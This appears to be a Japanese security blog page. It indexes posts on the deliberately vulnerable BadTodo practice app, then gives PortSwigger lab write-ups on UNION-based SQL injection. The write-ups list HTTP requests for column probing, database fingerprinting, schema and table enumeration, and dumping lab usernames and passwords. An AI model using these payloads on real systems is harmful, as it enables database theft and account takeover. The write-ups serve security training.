やられアプリ(やられサイト)BadTodo 脆弱性のまとめ

脆弱性診断実習用アプリ BadTodo 関連投稿へのリンク一覧です。
BadTodo - 1 準備
BadTodo - 2 ZAPでのスキャン
BadTodo - 3.1 SQLインジェクション 認証の回避
BadTodo - 3.2 SQLインジェクション 非公開情報の漏洩
BadTodo - 3.3 SQLインジェクション DB情報の取得
BadTodo - 3.4 SQLインジェクション ID/パスワードの取得
BadTodo - 3.5 SQLインジェクション 情報の改ざん・追加・削除
BadTodo - 3.6 SQLインジェクション MariaDBのパスワード取得
BadTodo - 3.7 SQLインジェクション idパラメータに対して
BadTodo - 3.8 SQLインジェクション sqlmapを使う
BadTodo - 3.9 SQLインジェクション 対策方法
BadTodo - 3.10 ブラインドSQLインジェクション (Boolean-Based) 練習
BadTodo - 4.1 XSS(クロスサイト・スクリプティング)
BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)
BadTodo - 4.2 XSS ログイン画面で
BadTodo - 4.3 XSS ID毎のTodo一覧画面
BadTodo - 4.4 XSS Todoの削除画面
BadTodo - 4.5 XSS マイページ
BadTodo - 4.6 XSS パスワード変更ページ
BadTodo - 4.7 XSS Todo詳細ページ
BadTodo - 4.8 XSS 対策方法(エスケープ処理)
BadTodo - 4.9 DOM Based XSS
BadTodo - 4.10 XSS URL属性値に対して
BadTodo - 5 オープンリダイレクト
BadTodo - 6 ディレクトリトラバーサル
BadTodo - 7 リモート・ファイルインクルード(RFI)
BadTodo - 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
BadTodo - 8.2 OS コマンド・インジェクション(内部でシェルを呼び出す関数)
BadTodo - 9 Server Side Code Injection - PHP Code Injection
BadTodo - 10.1 CSRF(クロスサイト・リクエスト・フォージェリ)
BadTodo - 10.5 CSRF(対策)
BadTodo - 10.6 CSRF対策トークンの不備
BadTodo - 10.7 XSSによるCSRF対策の突破
BadTodo - 11 HTTP ヘッダ・インジェクション
BadTodo - 12 メールヘッダ・インジェクション
BadTodo - 13.1 クリックジャッキング
BadTodo - 13.2 クリックジャッキング 対策方法(X-Frame-Optionsヘッダ)
BadTodo - 14 セッション管理の不備
BadTodo - 15 アクセス制御や認可制御の欠落
BadTodo - 16 バッファオーバーフロー
BadTodo - 17.1 認証(パスワードの強度・ログアウト)
BadTodo - 17.2 補足 保存するパスワードのハッシュ化
BadTodo - 17.3 パスワードハッシュ化の目的
BadTodo - 17.4 ハッシュの解析(hash cat を使う)
BadTodo - 18 クローラへの耐性
BadTodo - 19 ディレクトリ・リスティング
BadTodo - 20 A4:2017 - XML外部エンティティ参照 (XXE)
BadTodo - 21 A10:2021 - サーバーサイドリクエストフォージェリ(SSRF)
BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
BadTodo - 23 evalインジェクション
BadTodo - 24 適切でないアップロートファイル制限
BadTodo - 25.1 色々混ぜてやってみる1(XSS - CSRF -WebShell)
BadTodo - 25.2 色々混ぜてやってみる2(XSS - CSRF -WebShell)
BadTodo - 26.1 NULLバイト攻撃(+ファイルインクルード)
BadTodo - 26.2 NULLバイト攻撃(+SQLインジェクション)
BadTodo - 26.3 NULLバイト攻撃(+XSS)
BadTodo - 26.4 NULLバイト攻撃(POSTリクエストの場合)
BadTodo - 27 TOCTOU競合
BadTodo - 28 レースコンディション
BadTodo - 29 キャッシュからの情報漏洩

BadTodoは以下の脆弱性を網羅しています

IPA 安全なウェブサイトの作り方 第7版より
1.1 SQLインジェクション
1.2 OSコマンド・インジェクション
1.3 パス名パラメータの未チェック/ディレクトリ・トラバーサル
1.4 セッション管理の不備
1.5 クロスサイト・スクリプティング
1.6 CSRF(クロスサイト・リクエスト・フォージェリ)
1.7 HTTPヘッダ・インジェクション
1.8 メールヘッダ・インジェクション
1.9 クリックジャッキング
1.10 バッファオーバーフロー
1.11 アクセス制御や認可制御の欠落

ウェブ健康診断仕様より
(安全なウェブサイトの作り方との重複点をグレーアウト)
1 (A) SQL インジェクション
2 (B) クロスサイト・スクリプティング
3 (C) CSRF(クロスサイト・リクエスト・フォージェリ)
4 (D) OS コマンド・インジェクション
5 (E) ディレクトリ・リスティング
6 (F) メールヘッダ・インジェクション
7 (G) パス名パラメータの未チェック/ディレクトリ・トラバーサル
8 (H) 意図しないリダイレクト(オープンリダイレクト)
9 (I) HTTP ヘッダ・インジェクション
10 (J) 認証
11 (K) セッション管理の不備
12 (L) 認可制御の不備、欠落
13 (M) クローラへの耐性

OWASP Top 10 2017(重複をグレーアウト)
A1:2017 - インジェクション(A03:2021- インジェクション)
 BadTodo - 3 SQLインジェクション
 BadTodo - 8 OS コマンド・インジェクション
 BadTodo - 9 Server Side Code Injection
A2:2017 - 認証の不備(A07:2021-識別と認証の失敗)
 BadTodo - 17 認証(パスワードの強度・ログアウト)
(パスワードをデータストアに保存する際に、プレーンテキストのままで保存している)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(セッション識別子がURLの一部として露出してしまっている)
(ログイン後にセッション識別子を使いまわしている)
(セッションIDを正しく無効化していない)
 BadTodo - 14 セッション管理の不備
A3:2017 - 機微な情報の露出
 BadTodo - 17 認証(パスワードの強度・ログアウト)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
A4:2017 - XML 外部エンティティ参照(XXE) (A05:2021-セキュリティの設定ミス)
 BadTodo - 20 XML外部エンティティ参照 (XXE)
A5:2017 - アクセス制御の不備(A01:2021-アクセス制御の不備)
 BadTodo - 15 アクセス制御や認可制御の欠落
 BadTodo - 10 CSRF(クロスサイト・リクエスト・フォージェリ)
 BadTodo - 19 ディレクトリ・リスティング
A6:2017 - 不適切なセキュリティ設定(A05:2021-セキュリティの設定ミス)
 BadTodo - 19 ディレクトリ・リスティング
(詳細なエラーメッセージの表示)
 BadTodo - 3 SQLインジェクション
 BadTodo - 6 ディレクトリトラバーサル
A7:2017 - クロスサイトスクリプティング (XSS)
 BadTodo - 4 XSS(クロスサイト・スクリプティング)
A8:2017 - 安全でないデシリアライゼーション(A08:2021-ソフトウェアとデータの整合性の不具合)
 BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
A9:2017 - 既知の脆弱性のあるコンポーネントの使用(A06:2021-脆弱で古くなったコンポーネント)
(ソフトウェアが脆弱な場合やサポートがない場合、また使用期限が切れている場合)
 BadTodo - 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
A10:2017 - 不十分なロギングとモニタリング(A09:2021-セキュリティログとモニタリングの失敗)
(ログと監視が不十分で、組織が知らないうちに攻撃者に脆弱性を突かれること)(ロギングとモニタリングに関しては、ブラックボックスでの診断は難しく、ソースコード診断になるかと思います。[https://github.com/ockeghem/badtodo/blob/main/docs/vulnerabilities.md:title])

OWASP Top 10 2021
A01:2021-アクセス制御の不備
 BadTodo - 15 アクセス制御や認可制御の欠落
 BadTodo - 10 CSRF(クロスサイト・リクエスト・フォージェリ)
 BadTodo - 19 ディレクトリ・リスティング
A02:2021-暗号化の失敗
 BadTodo - 17 認証(パスワードの強度・ログアウト)
 (SSL(TLS)の設定)
 (HSTS)
 (パスワードの平文保存)
A03:2021-インジェクション
 BadTodo - 4 XSS(クロスサイト・スクリプティング)
 BadTodo - 3 SQLインジェクション
 BadTodo - 8 OS コマンド・インジェクション
 BadTodo - 9 Server Side Code Injection
A04:2021-安全が確認されない不安な設計
 BadTodo - 18 クローラへの耐性
(CWE-256 パスワードなどのアカウント情報が平文のまま格納されている問題)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(CWE-434 適切でないアップロートファイル制限)
 BadTodo - 23 適切でないアップロートファイル制限 CWE-434
(CWE-598 GETリクエストのクエリ文字列からの情報漏洩)
 BadTodo - 14 セッション管理の不備
A05:2021-セキュリティの設定ミス
 A4:2017 - XML 外部エンティティ参照 (XXE)
 BadTodo - 19 ディレクトリ・リスティング
(詳細なエラーメッセージの表示)
 BadTodo - 3 SQLインジェクション
 BadTodo - 6 ディレクトリトラバーサル
(クッキーへの機密情報の保存)
 BadTodo - 15 アクセス制御や認可制御の欠落
(クッキーのセキュア属性不備)
 BadTodo - 14 セッション管理の不備
(HttpOnly属性不備)
 BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)
(セキュリティヘッダの不備)
A06:2021-脆弱で古くなったコンポーネント
(ソフトウェアが脆弱な場合やサポートがない場合、また使用期限が切れている場合)
 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
A07:2021-識別と認証の失敗
 BadTodo - 17 認証(パスワードの強度・ログアウト)
(パスワードをデータストアに保存する際に、プレーンテキストのままで保存している)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(セッション識別子がURLの一部として露出してしまっている)
(ログイン後にセッション識別子を使いまわしている)
(セッションIDを正しく無効化していない)
 BadTodo - 14 セッション管理の不備
A08:2021-ソフトウェアとデータの整合性の不具合
 安全でないデシリアライゼーション
 BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
A09:2021-セキュリティログとモニタリングの失敗
(ログと監視が不十分で、組織が知らないうちに攻撃者に脆弱性を突かれること)(ロギングとモニタリングに関しては、ブラックボックスでの診断は難しく、ソースコード診断になるかと思います。[https://github.com/ockeghem/badtodo/blob/main/docs/vulnerabilities.md:title])
 (ログからの情報漏洩)
A10:2021-サーバーサイドリクエストフォージェリ(SSRF)
 BadTodo - 21 サーバーサイドリクエストフォージェリ(SSRF)

BadTodo は
安全なWebアプリケーションの作り方 第2版
にも対応しています。各脆弱性への対応策もまだ記述できていませんので作成を続けていきます。

[https://www.sbcr.jp/product/4797393163/:embed:cite]

SQL injection 23 / 51 LAB7

MySQLとMicrosoftでのデータベースの種類とバージョンの照会

前提:「カテゴリー」パラメータにSQLインジェクションが存在する。UNIONが利用可能
ゴール:データベースのバージョン文字列を表示する

1.「Gifts」カテゴリーを選択した際の、デフォルトリクエスト・レスポンス

GET /filter?category=Gifts HTTP/2
Host: 0a3c00c0034f7aa581529416003600b4.web-security-academy.net
Cookie: session=UNP3uaMkXQyNzSu2V70R5becfkZ8jjTm
~省略~


HTTP/2 200 OK
~省略~
<tr><th>Snow Delivered To Your Door</th><td>By Steam ~省略~ avoid disappointment.</td></tr>
<tr><th>High-End Gift Wrapping</th><td>We offer  ~省略~ call today.</td></tr>
<tr><th>Conversation Controlling Lemon</th><td>Are you ~省略~ un-opinionated one.</td></tr>
<tr><th>Couple&apos;s Umbrella</th><td>Do you ~省略~ Couple&apos;s Umbrella.</td></tr>
~省略~

4行2列

2. SQLインジェクションの存在確認。' = %27 の入力

GET /filter?category=Gifts%27 HTTP/2

HTTP/2 500 Internal Server Error
GET /filter?category=Gifts%27%27 HTTP/2

HTTP/2 200 OK

レスポンスに差異が出ることから、' = %27 がSQL文として解釈されており SQLインジェクションがあると判定。

3. UNION と null での列数推定

GET /filter?category=Gifts%27+union+select+null-- HTTP/2

HTTP/2 500 Internal Server Error
GET /filter?category=Gifts%27+union+select+null,null-- HTTP/2

HTTP/2 500 Internal Server Error
GET /filter?category=Gifts%27+union+select+null,null--+ HTTP/2

HTTP/2 200 OK
GET /filter?category=Gifts'+union+select+null,null# HTTP/2

HTTP/2 200 OK

コメントアウトが --+ --%20 または # であることから MySQLであると推定。列数は2列。
order by でも確認。

GET /filter?category=Gifts%27+order+by+1--+ HTTP/2

HTTP/2 500 Internal Server Error
GET /filter?category=Gifts%27+order+by+2--+ HTTP/2

HTTP/2 200 OK

1列目、2列目、双方に文字列型が利用可能

GET /filter?category=Gifts%27+union+select+%27a%27,%27a%27--+ HTTP/2

HTTP/2 200 OK

バージョンの出力

GET /filter?category=Gifts%27+union+select+@@version,%27a%27--+ HTTP/2

<tr><th>8.0.42-0ubuntu0.20.04.1</th><td>a</td></tr>

SQL injection 20 / 51 LAB6

UNION attack: 単一カラムから複数値を取得

前提:「カテゴリー」パラメータにSQLインジェクションが存在する。
データベースには users という別のテーブルが存在し、usernamepassword という列が含まれている。
ゴール:全ユーザー名とパスワードを取得後、管理者ユーザとしてログインする。

1.「Accessories」カテゴリーを選択した際の、デフォルトリクエスト・レスポンス

GET /filter?category=Accessories HTTP/2
Host: 0a3b008904c2a1458012c12c00fa006c.web-security-academy.net
Cookie: session=I2VjqBl4fx1HPfeyICzpTOAKOUbYO2fO
~省略~


HTTP/2 200 OK
~省略~
<tr><th>ZZZZZZ Bed - Your New Home Office</th><td><a class="button is-small" href="/product?productId=5">View details</a></td></tr>
~省略~

4行2列である。

2. SQLインジェクションの存在確認。' = %27 の入力

GET /filter?category=Accessories%27 HTTP/2
~省略~
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27%27 HTTP/2
~省略~
HTTP/2 200 OK
GET /filter?category=Accessories%27%27%27 HTTP/2
~省略~
HTTP/2 500 Internal Server Error

レスポンスに差異が出ることから、' = %27 がSQL文として解釈されており SQLインジェクションがあると判定。

3. UNION と null での列数推定

GET /filter?category=Accessories%27union+select+null-- HTTP/2
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27union+select+null,null-- HTTP/2
HTTP/2 200 OK
GET /filter?category=Accessories%27union+select+null,null,null-- HTTP/2
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27order+by+1-- HTTP/2
HTTP/2 200 OK
GET /filter?category=Accessories%27order+by+2-- HTTP/2
HTTP/2 200 OK
GET /filter?category=Accessories%27order+by+3-- HTTP/2
HTTP/2 500 Internal Server Error

よって、DB上も2列。しかしながら、文字列型を出力できるのは2列目のみである。

GET /filter?category=Accessories%27union+select+'a',null-- HTTP/2
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27union+select+'a','a'-- HTTP/2
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27union+select+null,'a'-- HTTP/2
HTTP/2 200 OK

4. DB情報の出力

GET /filter?category=Accessories%27union+select+null,@@version-- HTTP/2
~省略~

HTTP/2 500 Internal Server Error
~省略~

よって、MySQLやMicrosoft SQL ではない。

GET /filter?category=Accessories%27union+select+null,version()-- HTTP/2
~省略~

HTTP/2 200 OK
<tr><th>PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit</th></tr>
~省略~

よって、PostgreSQLである。

ちなみに、Oracleでもない。

GET /filter?category=Accessories%27union+select+null,version+from+v$instance-- HTTP/2
~省略~

HTTP/2 500 Internal Server Error
~省略~
GET /filter?category=Accessories%27union+select+banner,null+from+v$version-- HTTP/2
~省略~

HTTP/2 500 Internal Server Error
~省略~

5. ユーザ名とパスワードの出力

前提として、DB内に usersテーブル及び username password カラムが存在すると分かっている。
この2列分を出力する必要があるが合体前の表で利用できるのは2列目だけであるため、元の2列を連結演算子 || で1列にする。区切り文字は : とした。

GET /filter?category=%27union+select+null,username||%27:%27||password+from+users-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~
<tr><th>wiener:gi8yg9w7p4netrkyno0q</th></tr>
<tr><th>administrator:780vkuekqztxt2p7xw26</th></tr>
<tr><th>carlos:7ma74ggjfbw4dh85mtgr</th></tr>
~省略~

失敗例も確認。2列のままで合体させようとするとエラーとなる。

GET /filter?category=%27union+select+username,password+from+users-- HTTP/2
~省略~

HTTP/2 500 Internal Server Error
~省略~

管理者ユーザのIDとパスワードも分かるため、ログイン画面からログインすれば完了。

SQL injection 18 / 51 LAB5

UNION attack: 他テーブルからのデータ取得

前提:「カテゴリー」パラメータにSQLインジェクションが存在する。
ゴール:全ユーザー名とパスワードを取得後、管理者ユーザとしてログインする。

1.「Pets」カテゴリーを選択した際の、デフォルトリクエスト・レスポンス

GET /filter?category=Pets HTTP/2
Host: 0a5d003a0420219380b51c3f004200fc.web-security-academy.net
Cookie: session=SzaevQu2i266IU4boyhq4eclacp8cTZe
~省略~


HTTP/2 200 OK
省略~
<th>Babbage Web Spray</th>
~省略~

画面上からは分かりにくいが、<tr> <th> <td>の数から4行2列の表であることが分かる。

<tr><th>見出し</th><td>要素</td></tr>
<tr><th>見出し</th><td>要素</td></tr>
<tr><th>見出し</th><td>要素</td></tr>
<tr><th>見出し</th><td>要素</td></tr>

2. SQLインジェクションの存在確認。'=%27 の入力

GET /filter?category=Pets%27 HTTP/2
~省略~


HTTP/2 500 Internal Server Error
~省略~
GET /filter?category=Pets%27%27 HTTP/2
~省略~


HTTP/2 200 OK
~省略~

レスポンスに差異が出ることから、'=%27 がSQL文として解釈されており SQLインジェクションがあると判定。

3. UNION と null での列数推定

GET /filter?category=Pets%27union+select+null,null-- HTTP/2
HTTP/2 200 OK

GET /filter?category=Pets%27union%20select%20%27a%27,%27a%27-- HTTP/2
HTTP/2 200 OK

列数は2列で、両列とも文字列型が指定可能ということが分かる。

4. ユーザ名とパスワードの出力

DB内に usersテーブル及び username password カラムが存在すると推測して入力。

GET /filter?category=Pets%27union%20select%20username,password%20from%20users-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~

<tr>
  <th>administrator</th>
  <td>t15y230jws6rzvsop9lm</td>
</tr>
<tr>
  <th>carlos</th>
  <td>lm30d50c85wzgsl4xjbq</td>
</tr>
~省略~

管理者ユーザのIDとパスワードも分かるため、ログイン画面からログインすれば完了。

ただ、usersテーブル及び username password カラムが存在すると推測 というのは雑なためもう少し検証する。

5. DB情報の出力

GET /filter?category=Pets%27union%20select+@@version,null# HTTP/2
~省略~


HTTP/2 500 Internal Server Error
~省略~

よって、MySQLやMicrosoft SQL ではない。

GET /filter?category=Pets%27union%20select+version(),null-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~
<th>PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit</th>

よって、PostgreSQLである。

ちなみに、Oracleでもない。

GET /filter?category=Pets%27union%20select+version,null+from+v$instance-- HTTP/2
~省略~

HTTP/2 500 Internal Server Error
~省略~
GET /filter?category=Pets%27union%20select+banner,null+from+v$version-- HTTP/2
~省略~

HTTP/2 500 Internal Server Error
~省略~

DBごとの際は下記を参照
https://portswigger.net/web-security/sql-injection/cheat-sheet#database-version

6. PostgreSQL でのDB一覧の出力

SELECT DATNAME FROM PG_DATABASE;

元の文が邪魔なのでカテゴリーは消す("Pets"を消去)

不要な DB(テンプレート)も除外する場合

WHERE datistemplate = false;

GET /filter?category=%27union+select+null,datname+FROM+pg_database+where+datistemplate=false-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~
<tr><td>academy_labs</td></tr>
<tr><td>postgres</td></tr>
~省略~

7. 現在利用しているデータベースの確認 current_database()

GET /filter?category=%27union%20select+null,current_database()-- HTTP/1.1
~省略~


HTTP/2 200 OK
~省略~
<tr><td>academy_labs</td></tr>
~省略~

または catalog_name from information_schema.schemata PostgreSQL 12 ドキュメント

GET /filter?category=%27union%20select+null,catalog_name%20FROM%20INFORMATION_SCHEMA.SCHEMATA-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~
<tr><td>academy_labs</td></tr>
~省略~

8. スキーマ一覧の確認

select nspname from pg_namespace

または

select schema_name from information_schema.schemata
GET /filter?category=%27union+select+null,nspname+from+pg_namespace-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~
<tr><td>pg_toast_temp_1</td></tr>
<tr><td>public</td></tr>
<tr><td>pg_catalog</td></tr>
<tr><td>pg_temp_1</td></tr>
<tr><td>pg_toast</td></tr>
<tr><td>information_schema</td></tr>
~省略~

内部用スキーマ(pg_toast など)を除外し、普通にユーザーが使うスキーマだけに絞る場合

WHERE nspname NOT LIKE 'pg_%' AND nspname <> 'information_schema'
HTTP/2 200 OK
~省略~


GET /filter?category=%27union%20select+null,nspname+from+pg_namespace+where+nspname+not+like+%27pg_%%27+and+nspname+%3C%3E+%27information_schema%27-- HTTP/2
~省略~
<tr><td>public</td></tr>
~省略~

9. テーブル一覧の出力

SELECT table_name FROM information_schema.tables
GET /filter?category=Pets%27union+select+null,table_name+from+information_schema.tables-- HTTP/2
~省略~


HTTP/2 200 OK
<tr><td>pg_extension</td></tr>
<tr><td>pg_class</td></tr>
<tr><td>pg_range</td></tr>
<tr><td>pg_stat_gssapi</td></tr>
<tr><td>pg_indexes</td></tr>
<tr><td>pg_policies</td></tr>
~多数・省略~

10. publicスキーマに存在するテーブル一覧の出力

select table_name from information_schema.tables where table_schema='public'
GET /filter?category=%27union+select+null,table_name+from+information_schema.tables+where+table_schema=%27public%27-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~
<tr><td>users</td></tr>
<tr><td>products</td></tr>
~省略~

つまり、PostgreSQL ではスキーマ名を指定すればよく、DB名は不要

usersテーブルに存在するカラム一覧の出力

select column_name from information_schema.columns where table_name='users'

GET /filter?category=%27union%20select%20null,column_name%20from%20information_schema.columns%20where%20table_name=%27users%27-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~
<tr><td>email</td></tr>
<tr><td>password</td></tr>
<tr><td>username</td></tr>
~省略~

後は4. ユーザ名とパスワードの出力の通り。

SQL injection 16 / 51 LAB4

UNION attack: テキストを含む列の発見

前提:「カテゴリー」パラメータにSQLインジェクションが存在する。
ゴール:Webページ上に所定の文字列を出力する。

「アクセサリー」カテゴリーを選択した際の、デフォルトリクエスト・レスポンス

GET /filter?category=Accessories HTTP/2
Host: 0a9900c8044f594b80b3e45400f00075.web-security-academy.net
Cookie: session=t1WUvqgc2MSAAKYy0vDQnB7lHSgWFWg0
~省略~


HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
~省略~
<th>ZZZZZZ Bed - Your New Home Office</th>

4行、3列の出力

検証例1:エラーを発生させてみる「'」=「%27」の入力

GET /filter?category=Accessories%27 HTTP/2
Host: 0a9900c8044f594b80b3e45400f00075.web-security-academy.net
Cookie: session=t1WUvqgc2MSAAKYy0vDQnB7lHSgWFWg0
~省略~


HTTP/2 500 Internal Server Error
~省略~
GET /filter?category=Accessories%27%27 HTTP/2
Host: 0a9900c8044f594b80b3e45400f00075.web-security-academy.net
Cookie: session=t1WUvqgc2MSAAKYy0vDQnB7lHSgWFWg0
~省略~


HTTP/2 200 OK
~省略~

SQLインジェクションがあると判定。

検証例2:null を増やしていく

null 3つで 200ok、DB上の列もWebページ上の見た目と同じく3列であることが分かる。

GET /filter?category=Accessories%27union+select+null,null,null-- HTTP/2
Host: 0a9900c8044f594b80b3e45400f00075.web-security-academy.net
Cookie: session=t1WUvqgc2MSAAKYy0vDQnB7lHSgWFWg0
~省略~


HTTP/2 200 OK
~省略~

検証例3:どの列で文字列型が利用可能か調べる

GET /filter?category=Accessories%27union+select+'a',null,null-- HTTP/2
~省略~

HTTP/2 500 Internal Server Error
~省略~
GET /filter?category=Accessories%27union+select+null,'a',null-- HTTP/2
~省略~

HTTP/2 200 OK
~省略~
GET /filter?category=Accessories%27union+select+null,null,'a'-- HTTP/2

HTTP/2 500 Internal Server Error
~省略~

2列目で文字列型が使える。

検証例4:指定の文字列を出力する

今回のページ上部に Make the database retrieve the string: '8DmiK2' と記載されているため、その文字列を出力すると解決。

補足:今回のDBはPostgreSQL

GET /filter?category=Accessories%27union%20select%20null,version(),null--
~省略~

HTTP/2 200 OK
<th>PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit</th>
~省略~

SQL injection 13 / 51 LAB3

UNION attack: クエリによって返される列の数を決定する

前提:商品カテゴリにSQLインジェクションが存在する

クエリの結果はアプリケーションのレスポンスで返されるため UNIONが使える。

デフォルトリクエスト・レスポンス

GET /filter?category=Accessories HTTP/2
Host: 0a38009304f9741681361b78002e0005.web-security-academy.net
Cookie: session=AQ0GHyPcm9wET6rDXMRgFCDYaHwQFMBS
~省略~

HTTP/2 200 OK
~省略~
<th>Cheshire Cat Grin</th>


結果表は4行

検証例1:エラーを発生させてみる「'」=「%27」の入力

GET /filter?category=Accessories%27 HTTP/2
↓
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27%27 HTTP/2
↓
HTTP/2 200 OK
~省略~
<h1>Accessories&apos;&apos;</h1>
GET /filter?category=Accessories%27%27%27 HTTP/2
↓
HTTP/2 500 Internal Server Error

検証例2:null を増やしていく

GET /filter?category=Accessories%27union+select+null-- HTTP/2
↓
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27union+select+null,null,null-- HTTP/2
↓
HTTP/2 200 OK


結果、空(null)行が1行追加され計5行となっている。

lab-determine-number-of-columns

/* -----codeの行番号----- */
' } }) e.innerHTML = codeBlock; });